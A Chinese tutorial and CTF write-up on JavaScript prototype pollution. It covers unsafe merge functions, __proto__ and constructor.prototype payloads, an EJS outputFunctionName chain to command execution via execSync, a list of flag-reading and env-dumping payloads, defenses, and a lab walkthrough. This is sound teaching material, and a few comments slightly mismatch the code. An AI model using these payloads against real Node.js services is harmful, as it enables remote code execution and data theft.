JS 原型链污染漏洞 - 从0到1
学这部分内容的起因是某线下赛本地AI给出了 server.js 源码分析,但自己看不懂 payload 也不理解源码,导致试了很久才出flag.
这里简单学习一下。
第一部分:前置知识 - JS 原型链
1.1 什么是原型(Prototype)
在 JS 中,几乎所有对象都有一个隐藏属性 [[Prototype]](也叫 __proto__),它指向另一个对象。当你访问对象的一个属性时,如果对象自身没有这个属性,JS 引擎会沿着 __proto__ 向上查找——这就是原型链。
// 创建一个普通对象
const obj = { name: "Alice" };
// obj 自身没有 toString 方法,但可以调用
console.log(obj.toString()); // "[object Object]" ← 从哪来的?
// 答案:从原型链上来的
console.log(obj.__proto__ === Object.prototype); // true
console.log(Object.prototype.hasOwnProperty('toString')); // true
查找路径:obj → obj.__proto__(即 Object.prototype)→ Object.prototype.__proto__(即 null,链终止)
1.2 原型链的终点
obj.__proto__ // Object.prototype
obj.__proto__.__proto__ // null ← 原型链终点
1.3 构造函数与 prototype
每个函数都有一个 prototype 属性(注意:不是 __proto__),它是通过 new 创建的实例的 __proto__。
function Person(name) {
this.name = name;
}
Person.prototype.sayHi = function() {
console.log("Hi, I'm " + this.name);
};
const p = new Person("Bob");
p.sayHi(); // "Hi, I'm Bob" ← 从原型继承来的
p.__proto__ === Person.prototype; // true
Person.prototype.__proto__ === Object.prototype; // true
1.4 __proto__ vs prototype 的区别
__proto__ | prototype | |
|---|---|---|
| 存在于 | 所有对象 | 函数 |
| 含义 | 对象的原型(指向父对象) | 构造函数的实例原型 |
| 关系 | obj.__proto__ === Constructor.prototype | — |
示例说明
function Dog(name){
this.name = name;
}
const dog = new Dog("dog");
console.log(dog.__proto__); //代表 dog 的原型对象,也就是 Dog.prototype
console.log(Dog.prototype); //代表 Dog 函数的原型对象,Dog.prototype 是 Dog 这个函数自带的一个对象属性,它的作用是:存放所有 new Dog() 实例共享的属性和方法。
// 默认 Dog.prototype 只有一个属性,指回构造函数 {constructor: Dog}
// 当给 Dog.prototype 添加属性时,所有 new Dog() 的实例都能访问到这个属性
Dog.prototype.wang = function() {
console.log("wang wang");
}
const dog2 = new Dog("dog2");
dog2.wang(); // wang wang
// 两者指向同一块内存,Dog.prototype === dog.__proto__ 为 true
console.log(Dog.prototype === dog.__proto__); // true
再次理解,js 里函数也是一个对象,也可以有属性,Dog.prototype 就代表了这个对象的属性,而 dog.__proto__ 就是这个实例的原型对象。
两者指向同一块内存,Dog.prototype === dog.__proto__ 为 true
1.5 一张图理解原型链
p (实例)
│ name: "Bob"
│
├──__proto__──→ Person.prototype
│ sayHi: function
│ constructor: Person
│ │
│ ├──__proto__──→ Object.prototype
│ toString: function
│ hasOwnProperty: function
│ constructor: Object
│ │
│ ├──__proto__──→ null (终点)
第二部分:什么是原型链污染
2.1 核心概念
原型链污染 = 攻击者修改了 Object.prototype(或某个构造函数的 prototype),使得所有从该原型继承的对象都继承了攻击者注入的属性。
// 正常情况
const admin = { role: "admin" };
const user = { role: "user" };
console.log(user.isAdmin); // undefined ← 正常
console.log(admin.__proto__); // Object: null prototype 找到了他爸 Object.prototype
console.log(Object.prototype);
// ⚠️ 污染攻击
Object.prototype.isAdmin = true; // 污染了原型链!
console.log(user.isAdmin); // true ← 被污染了!
console.log(admin.isAdmin); // true ← 连 admin 也被污染了!
所有继承自 Object.prototype 的对象都会受到影响——这就是危害所在。
2.2 为什么危险?
很多代码的逻辑判断依赖”属性不存在时返回 undefined”:
// 常见权限检查
if (user.isAdmin) {
// 执行管理员操作
}
// 常见配置检查
if (options.debug) {
// 输出敏感信息
}
如果攻击者污染了 Object.prototype.isAdmin = true 或 Object.prototype.debug = true,所有这些检查都会被绕过。
第三部分:污染是如何发生的
3.1 不安全的对象合并
这是最常见的漏洞场景。很多库会实现类似 merge / extend / deepCopy 的函数:
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
merge(target[key], source[key]); // 递归合并
} else {
target[key] = source[key];
}
}
}
注释版:
function merge(target, source) {
// 遍历 source 的所有可枚举属性(包括 __proto__)
for (let key in source) {
// 如果 source[key] 是对象(如 {isAdmin: true}),需要递归处理
if (typeof source[key] === 'object') {
// 如果 target 没有这个属性,先创建一个空对象
if (!target[key]) target[key] = {};
// 递归:把 source[key] 的内容合并到 target[key] 中
merge(target[key], source[key]);
} else {
// source[key] 不是对象(字符串、数字等),直接赋值
target[key] = source[key];
}
}
}
正常使用没问题:
const config = { database: { host: "localhost" } };
const userInput = { database: { port: 3306 } };
merge(config, userInput);
// config = { database: { host: "localhost", port: 3306 } }
// 第1轮:key = "db",source["db"] 是对象 → 递归
// 第2轮:key = "port",source["port"] = 3306 不是对象 → 直接赋值
// 结果:config = { db: { host: "localhost", port: 3306 } }
恶意输入触发污染:
const config = {};
const maliciousInput = JSON.parse('{"__proto__":{"isAdmin":true}}');
merge(config, maliciousInput);
// 现在 Object.prototype.isAdmin === true !
console.log({}.isAdmin); // true ← 所有新对象都被污染了
为什么污染攻击要用 JSON.parse?
JSON.parse() 把 JSON 字符串转换成 JS 对象。
// ❌ 直接写对象字面量,__proto__ 不会被当作普通 key
const obj = { __proto__: { isAdmin: true } };
// JS 引擎把 __proto__ 当作原型设置语法,不是普通属性
// 结果:obj 的原型被设为 {isAdmin: true},但 for...in 遍历不到 "__proto__" 这个 key
// ✅ 用 JSON.parse,__proto__ 被当作普通字符串 key
const obj2 = JSON.parse('{"__proto__":{"isAdmin":true}}');
// JSON 里 __proto__ 就是一个普通的 key
// for...in 能遍历到 "__proto__"
3.2 关键原理拆解
为什么 __proto__ 能被作为 key 遍历?
const obj = JSON.parse('{"__proto__":{"isAdmin":true}}');
// for...in 会遍历 __proto__ 这个 key
for (let key in obj) {
console.log(key); // 输出: "__proto__"
}
// 在 merge 中:
// key = "__proto__"
// target[key] → target["__proto__"] → target.__proto__ → Object.prototype
// 于是 merge(Object.prototype, {isAdmin: true})
// 结果:Object.prototype.isAdmin = true
核心原因: for...in 循环会遍历对象自身的 __proto__ 属性(作为普通 key),而 target["__proto__"] 访问的就是原型,导致递归时修改了 Object.prototype。
3.3 不安全的 clone / extend
function clone(obj) {
return merge({}, obj); // 同样的问题
}
3.4 通过 constructor 污染
constructor 是每个对象原型上自带的属性,指回创建它的构造函数。
const obj = {};
console.log(obj.constructor); // [Function: Object] ← 指回 Object 函数
console.log(obj.constructor === Object); // true
const arr = [];
console.log(arr.constructor); // [Function: Array] ← 指回 Array 函数
所以 obj.constructor.prototype 就等于 Object.prototype
所以除了 __proto__,还可以通过 constructor.prototype 达到同样效果:
const maliciousInput = JSON.parse('{"constructor":{"prototype":{"isAdmin":true}}}');
// 在 merge 中:
// key = "constructor"
// target["constructor"] → 目标对象的 constructor(通常是 Object)
// 递归进入:
// key = "prototype"
// target["prototype"] → Object.prototype
// 结果:Object.prototype.isAdmin = true
第四部分:实战 Payload 构造
4.1 基本 Payload
{"__proto__":{"polluted":"yes"}}
4.2 通过 constructor 链
{"constructor":{"prototype":{"isAdmin":true}}}
4.3 针对特定类的污染
// 如果目标不是普通对象,而是某个类的实例
function User() {}
const u = new User();
// 污染 User.prototype 而非 Object.prototype
merge(u, JSON.parse('{"__proto__":{"role":"admin"}}'));
// u.__proto__ === User.prototype
// 所以 User.prototype.role = "admin"
// 所有 User 实例的 role 都变成了 "admin"
第五部分:经典漏洞函数模式
5.1 危险模式识别
以下模式都是可能存在原型链污染的:
// 模式1:递归赋值
target[key] = source[key]; // key 可控时危险
// 模式2:递归对象操作
target[key][subKey] = value; // key 可控时危险
// 模式3:动态属性设置
obj[key] = value; // key 来自用户输入
// 模式4:for...in + 递归
for (let key in source) { // key 可能是 __proto__
merge(target[key], source[key]);
}
5.2 常见漏洞函数名
在代码审计中,关注以下函数/方法:
merge(),extend(),mixIn(),deepMerge()clone(),deepCopy(),copy()set(),setPath(),setValue()defaults(),deepDefaults()- 任何递归处理对象的函数
5.3 历史漏洞库
| 库名 | 漏洞函数 | CVE |
|---|---|---|
| lodash | _.merge, _.defaultsDeep | CVE-2020-8203 |
| jQuery | $.extend | CVE-2019-11358 |
| minimist | parse() | CVE-2020-7598 |
| node-forge | 多处 | CVE-2020-7720 |
| express-fileupload | parse() | CVE-2020-7699 |
第六部分:实战练习
6.1 本地复现 - 不安全的 merge
创建以下文件并运行:
// 危险的 merge 函数
function merge(target, source){
for(let key in source){
if(source[key] instanceof Object){
if(!target[key]) target[key] = {};
merge(target[key], source[key]);
}
else{
target[key] = source[key];
}
}
}
// 正常使用
const config = {};
merge(config, JSON.parse('{"db":{"admin":"******"}}'));
console.log(config);
// 污染原型链
merge(config, JSON.parse('{"__proto__":{"admin":"123456"}}'));
console.log({}.admin); //123456,污染成功
6.2 练习:绕过权限检查
// challenge.js
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
const express = require('express');
const app = express();
app.use(express.json());
app.post('/update', (req, res) => {
const config = {};
merge(config, req.body);
res.json({ msg: "updated" });
});
app.get('/flag', (req, res) => {
// 权限检查:依赖属性不存在返回 undefined
const user = {};
if (user.role === 'admin') {
res.send("FLAG{prototype_pollution_is_dangerous}");
} else {
res.status(403).send("Forbidden");
}
});
app.listen(3000);
攻击步骤:
- 先发送污染请求:
curl -X POST http://localhost:3000/update \
-H "Content-Type: application/json" \
-d '{"__proto__":{"role":"admin"}}'
- 再访问 flag:
curl http://localhost:3000/flag
# 返回: FLAG{prototype_pollution_is_dangerous}

6.3 练习:EJS RCE(原型链污染 → 代码执行)
原型链污染本身只是”属性注入”,但在特定环境下可以升级为 RCE。
第一步:EJS 是什么
EJS 是一个模板引擎,把模板字符串渲染成 HTML:
const ejs = require('ejs');
// 模板里 <%= name %> 会被替换成变量值
const html = ejs.render('Hello <%= name %>!', { name: "Bob" });
// 结果: "Hello Bob!"
第二步:EJS 内部怎么渲染的
EJS 不是简单的字符串替换,它会把模板编译成 JS 函数再执行:
// 模板: "Hello <%= name %>!"
// EJS 编译后等价于生成这样的函数:
function compiledFn(data) {
let output = "";
output += "Hello ";
output += data.name; // ← <%= name %> 变成了这行
output += "!";
return output;
}
关键:EJS 用字符串拼接出函数代码,然后 eval / new Function 执行它。
第三步:option和outputFunctionName
options 就是 传给 EJS 模板引擎的「配置对象」。
你在使用 EJS 渲染模板时,会写类似这样的代码:
// 前端/后端传入用户数据 -> 变成渲染配置
ejs.render(template, userData, options);
- 它是一个普通 JS 对象
- 作用:告诉 EJS 怎么编译、怎么渲染模板 比如
const options = {
cache: true,
filename: "index.ejs"
};
如果用户可控的数据被合并到了 options 里,攻击者就能通过原型链污染,往 options 里塞恶意属性
outputFunctionName 是 EJS 内部的一个编译配置项,也是 RCE 的核心漏洞点
outputFunctionName 是用来自定义 EJS 渲染时生成的函数名
EJS 在编译时,会从 options 对象读取 outputFunctionName,用来给输出变量命名:
// EJS 内部简化逻辑(真实源码的简化版)
var outputFunctionName = opts.outputFunctionName || '__append';
// 然后拼进编译出的函数代码里:
var compiledCode = 'var ' + outputFunctionName + " = '';";
// 如果 outputFunctionName 是 "__append",拼出来是:
// var __append = '';
// 然后用 new Function 执行这段代码
var fn = new Function(data, compiledCode);
正常情况下 outputFunctionName 是 undefined,EJS 用默认值 "__append",没问题。
第四步:原型链污染介入
opts 是一个普通对象,当你访问 opts.outputFunctionName 时:
const opts = {};
console.log(opts.outputFunctionName); // undefined ← 正常,自身没有这个属性
但如果污染了原型链:
Object.prototype.outputFunctionName = "恶意代码";
const opts = {};
console.log(opts.outputFunctionName); // "恶意代码" ← 从原型链继承了!
第五步:构造 RCE Payload
攻击者通过原型链污染设置 outputFunctionName:
{
"__proto__": {
"outputFunctionName": "a;return process.mainModule.require('child_process').execSync('whoami');//"
}
}
EJS 编译时拼出的代码变成了:
var a;return process.mainModule.require('child_process').execSync('whoami');// = '';
拆解这段注入:
a; ← 声明变量 a,结束语句
return process.mainModule ← 加载 Node.js 主模块
.require('child_process') ← 导入子进程模块
.execSync('whoami'); ← 执行系统命令
// ← 注释掉后面的内容,避免语法错误
原本 EJS 要拼的是 var __append = '';,现在变成了 var a;return ...;// = '';,// 把后面的 = '' 注释掉了。
第六步:完整攻击流程
1. 攻击者发送 POST /update
Body: {"__proto__":{"outputFunctionName":"a;return process.mainModule.require('child_process').execSync('calc');//"}}
2. merge() 污染了 Object.prototype.outputFunctionName
3. 之后任何 EJS 渲染请求(如 GET /render)
→ ejs.render() 创建 opts = {}
→ opts.outputFunctionName 从原型链读到恶意值
→ 编译模板时把恶意代码拼进函数
→ new Function() 执行 → RCE!
第七步:本地复现
需要安装 ejs:npm install ejs
// demo3.js
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
const express = require('express');
const ejs = require('ejs');
const app = express();
app.use(express.json());
// 攻击入口:不安全的 merge
app.post('/update', (req, res) => {
const config = {};
merge(config, req.body);
res.json({ msg: "updated" });
});
// 触发 EJS 渲染
app.get('/render', (req, res) => {
const html = ejs.render('<h1>Hello <%= name %></h1>', { name: "World" });
res.send(html);
});
app.listen(3000, () => console.log("Server on port 3000"));
这里再加一个测试路由,用于看是否被污染了
// 调试:检查污染是否成功
app.get('/check', (req, res) => {
const test = {};
res.json({
polluted: test.outputFunctionName || "未污染",
ObjectPrototype: Object.prototype.outputFunctionName || "未污染"
});
});
比如
curl -X POST localhost:3000/update -H "Content-Type:application/json" `
> -d '{"__proto__":{"outputFunctionName":"a;return process.mainModule.require(''child_process'').execSync(''calc'');//"}}'
{"msg":"updated"}
curl localhost:3000/check
{"polluted":"a;return process.mainModule.require('child_process').execSync('calc');//","ObjectPrototype":"a;return process.mainModule.require('child_process').execSync('calc');//"}
攻击步骤:
# 步骤1:污染原型链
curl -X POST localhost:3000/update -H "Content-Type:application/json" `
-d '{"__proto__":{"outputFunctionName":"a;return process.mainModule.require(''child_process'').execSync(''calc'');//"}}'
# 步骤2:触发 EJS 渲染,RCE 执行
curl localhost:3000/render
原理再次解读:
merge
第1轮:key = "__proto__"
config["__proto__"] → config.__proto__ → Object.prototype
递归进入 merge(Object.prototype, {outputFunctionName: "恶意代码"})
第2轮:key = "outputFunctionName"
Object.prototype["outputFunctionName"] = "恶意代码" ← 污染了全局原型!
config 本身没有被添加任何属性,__proto__ 不是 config 自身的 key,而是访问到了 Object.prototype。
污染是全局的,之后整个 Node.js 进程中任何 {} 对象访问 outputFunctionName 都会从原型链读到恶意值:
// EJS 内部执行 ejs.render() 时
const opts = {}; // 空对象
opts.outputFunctionName // undefined?不!从 Object.prototype 继承了 "恶意代码"
config 只是入口,真正被修改的是 Object.prototype,影响的是整个进程的所有对象。
接着渲染部分通过拼接可执行代码
process.mainModule | Node.js 的全局对象,代表主模块 |
|---|---|
.require('child_process') | 导入 Node.js 子进程模块 |
.execSync('calc') | 同步执行系统命令 calc(Windows 计算器) |
步骤2访问后,如果弹出计算器(Windows)或执行了命令,说明 RCE 成功。
如果未执行成功,原因是当前安装的 EJS 版本已修复了这个漏洞,新版 EJS 内部用了 hasOwnProperty 检查,不会读取从原型链继承的属性。
npm install ejs@3.1.6 来复现 (当前是 ejs@5.0.2)
成功弹出计算器
如果是面向 ctf 场景,想执行命令获得flag,可以参考下面的 payload
// 读取 flag 文件内容
a;return process.mainModule.require('fs').readFileSync('./flag').toString();//
// linux
a;return process.mainModule.require('child_process').execSync('cat /flag').toString();//
// windows
a;return process.mainModule.require('child_process').execSync('type flag.txt').toString();//
// 环境变量
a;return process.mainModule.require('child_process').execSync('env').toString();//
本机再次测试一下(windows)

总结
原型链污染(属性注入)
↓
污染 Object.prototype.outputFunctionName
↓
EJS 编译模板时读到被污染的属性值
↓
恶意代码被拼进编译生成的函数
↓
new Function() 执行 → RCE
核心思路:找到目标代码中从对象读取、且会影响代码拼接/执行的属性名,通过原型链污染注入恶意值。
以下的部分待学习。
第七部分:污染的利用链
7.1 污染 → 属性注入
最基本的利用,修改逻辑判断:
原型链污染 → Object.prototype.xxx = value → 绕过 if 检查
7.2 污染 → 模板引擎 RCE
| 模板引擎 | 污染属性 | 效果 |
|---|---|---|
| EJS | outputFunctionName | 代码执行 |
| Pug | self/allowInline | 代码执行 |
| Nunjucks | autoescape | XSS / 代码执行 |
7.3 污染 → SQL 注入
// 如果 ORM 的查询参数从对象继承
const query = {};
Model.find(query); // query.where 默认 undefined
// 污染后
Object.prototype.where = "1=1; DROP TABLE users--";
Model.find({}); // 生成了恶意 SQL
7.4 污染 → Node.js 子进程
// 污染环境变量
Object.prototype.env = {
NODE_OPTIONS: "--require /proc/self/environ",
EVIL: "require('child_process').execSync('id')"
};
第八部分:防御方法
8.1 过滤 __proto__ 和 constructor
function safeMerge(target, source) {
for (let key in source) {
if (key === '__proto__' || key === 'constructor') continue; // 防御!
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
safeMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
8.2 使用 Object.create(null)
Object.create(null) 创建的对象没有原型,__proto__ 不可访问:
const safeTarget = Object.create(null);
merge(safeTarget, userInput); // safeTarget.__proto__ 是 undefined,无法向上污染
8.3 使用 Object.defineProperty 冻结原型
Object.freeze(Object.prototype); // 禁止修改 Object.prototype
// 任何对 Object.prototype 的赋值都会静默失败(严格模式下抛错)
8.4 使用 Map 代替普通对象
// Map 的 key 可以是任意值,不会与原型链交互
const config = new Map();
config.set("db_host", "localhost");
// config.get("isAdmin") → undefined,不受原型链影响
8.5 使用安全库
- 使用已修复的 lodash(≥4.17.20)
- 使用
lodash.defaultsDeep的安全替代 - 使用
hoek的merge(已修复版本)
第九部分:代码审计 Checklist
审计 JS 项目时,按以下步骤检查:
- 搜索危险函数:
merge,extend,clone,deepCopy,setPath - 检查输入来源:这些函数的 source 参数是否来自用户输入?
- 检查是否有
__proto__/constructor过滤 - 检查是否使用了
Object.create(null) - 检查依赖版本:是否有已知漏洞的 lodash / jQuery 等
- 检查模板引擎:是否使用了 EJS / Pug / Nunjucks(可升级为 RCE)
- 检查
Object.freeze(Object.prototype):是否冻结了原型
第十部分:CTF 常见题型总结
10.1 直接污染绕过
题目中有 if (obj.xxx) 之类的检查,直接污染 Object.prototype.xxx 即可。
10.2 污染 + 模板引擎 RCE
污染特定属性(如 EJS 的 outputFunctionName),让模板引擎执行代码。
10.3 污染 + 子进程执行
污染 NODE_OPTIONS 等环境变量,导致 Node.js 启动子进程时加载恶意代码。
10.4 污染 + 路径遍历
{"__proto__":{"root":"/"}}
某些库会读取 options.root 作为文件根目录,污染后可遍历任意文件。
10.5 污染 + 反序列化
node-serialize 等库的反序列化函数如果内部使用了不安全的 merge,也可以触发污染。
实战练习
status-check
这里简单贴一下源码(不带注释)
server.js
const express = require('express');
const { execFileSync } = require('child_process');
const app = express();
const PORT = 3333;
const DEFAULT_STATUS_MESSAGE = 'Worker node is healthy and responding.';
const DEFAULT_HEALTHCHECK_SCRIPT = `console.log(process.env.WORKER_STATUS_MESSAGE || ${JSON.stringify(DEFAULT_STATUS_MESSAGE)})`;
app.use(express.json());
app.use((req, res, next) => {
console.log(`[${new Date().toISOString()}] ${req.method} ${req.url}`);
next();
});
function merge(target, source) {
for (const key in source) {
if (key === '__proto__') {
console.warn('Security Alert: Attempted prototype pollution blocked!');
continue;
}
if (source[key] && typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
const systemConfig = {
appName: 'Enterprise Status Checker Pro',
version: '2.2.0',
features: {
enableDebug: false,
logging: true
},
worker: {
runtime: 'node',
healthcheck: 'embedded-script'
}
};
function buildWorkerRuntime() {
const workerOverrides = {};
const timeoutCandidate = Number(workerOverrides.timeout);
return {
binary: workerOverrides.binary || process.execPath,
env: workerOverrides.env || {
...process.env,
WORKER_STATUS_MESSAGE: DEFAULT_STATUS_MESSAGE
},
script: workerOverrides.healthcheckScript || DEFAULT_HEALTHCHECK_SCRIPT,
timeout: Number.isFinite(timeoutCandidate) && timeoutCandidate > 0
? timeoutCandidate
: 2000
};
}
app.get('/api/config', (req, res) => {
res.json(systemConfig);
});
app.post('/api/settings', (req, res) => {
try {
const userPreferences = {};
merge(userPreferences, req.body);
res.json({
status: 'success',
message: 'Preferences temporarily loaded.',
data: userPreferences
});
} catch (e) {
res.status(500).json({ error: 'Failed to parse settings.' });
}
});
app.get('/api/status', (req, res) => {
try {
const workerRuntime = buildWorkerRuntime();
const output = execFileSync(
workerRuntime.binary,
['-e', workerRuntime.script],
{
env: workerRuntime.env,
timeout: workerRuntime.timeout
}
).toString();
res.send(`
<h1>${systemConfig.appName}</h1>
<p>Version: ${systemConfig.version}</p>
<hr>
<p>Status: <strong>${output}</strong></p>
`);
} catch (err) {
res.status(500).send('Sub-process execution failed. Is the worker node down?');
}
});
app.listen(PORT, () => {
console.log(`Enterprise Status Checker running on port ${PORT}`);
});
攻击路径:
通过 /api/settings 路由利用恶意merge()来污染userPreferences = {};,尝试基于此修改 Object.prototype ,达到全局污染的效果;接着通过/api/status路由,利用execFileSync()来执行注入的命令,最后返回命令执行后的结果。
这里给一下关键分析点:
buildWorkerRuntime() 函数
function buildWorkerRuntime() {
const workerOverrides = {}; // 空对象,可被修改
return {
binary: workerOverrides.binary || process.execPath, //给 binary 赋值,默认 process.execPath (即node.exe路径)
env: workerOverrides.env || { // 给 env 赋值
...process.env,
WORKER_STATUS_MESSAGE: DEFAULT_STATUS_MESSAGE
},
script: workerOverrides.healthcheckScript || DEFAULT_HEALTHCHECK_SCRIPT, // 关键,给执行脚本 script 赋值,默认为 DEFAULT_HEALTHCHECK_SCRIPT,在源码开头已经定义了;这里就是需要命令修改的点
};
}
status路由核心函数
const output = execFileSync(
workerRuntime.binary,
['-e', workerRuntime.script],
{
env: workerRuntime.env,
timeout: workerRuntime.timeout
}
).toString();
先看execFileSync (执行外部代码) 格式
execFileSync(file, args, options)
file:要执行的程序路径,这里默认 process.execPath,也就是Node 可执行文件
args:执行参数,-e是 Node 的参数,表示“直接执行后面那段 JS 字符串”,workerRuntime.script 就是要被执行的脚本
- 组合后等价于
node -e <script>
option:执行选项,可设置环境变量,超时时间…
注意:
- output.toString() 只是把子进程的标准输出 stdout 转成字符串。
- node -e 执行脚本时,表达式的返回值不会自动打印到 stdout。
- 所以如果 payload 只是读文件但不打印,stdout 为空,output 也会是空字符串。
因此在注入恶意 payload 的时候需要使用输出函数,比如console.log()
尝试攻击
目标是注入 script: workerOverrides.healthcheckScript || DEFAULT_HEALTHCHECK_SCRIPT,把 script的值workerOverrides.healthcheckScript修改我们想要执行的脚本。
尝试通过 merge(userPreferences, req.body); 进行注入
注意到 merge() 的过滤
if (key === '__proto__') {
console.warn('Security Alert: Attempted prototype pollution blocked!');
continue;
}
过滤了 __proto__,那么就不能通过 {}.__proto__来污染 Object.prototype 进而控制healthcheckScript的属性值
但这里可以使用 constructor 和 prototype 达到相同效果
链路:{} -> {}.constructor -> Object -> Object.prototype => Object.prototyoe.healthcheckScript
exp
{
"constructor":{
"prototype":{
"healthcheckScript":"console.log(process.env.flag)"
}
}
}
部署漏洞环境并测试
$env:flag="flag{i_miss_u}" 注入环境变量
node .\server.js 启动环境
/api/settings 污染,/api/status得到 flag

成功得到flag
最后提一句,程序找不到 workerRuntime.script 时,即没有 {}.script 会默认向上找,最后被污染的 Object.healthcheckScript 注入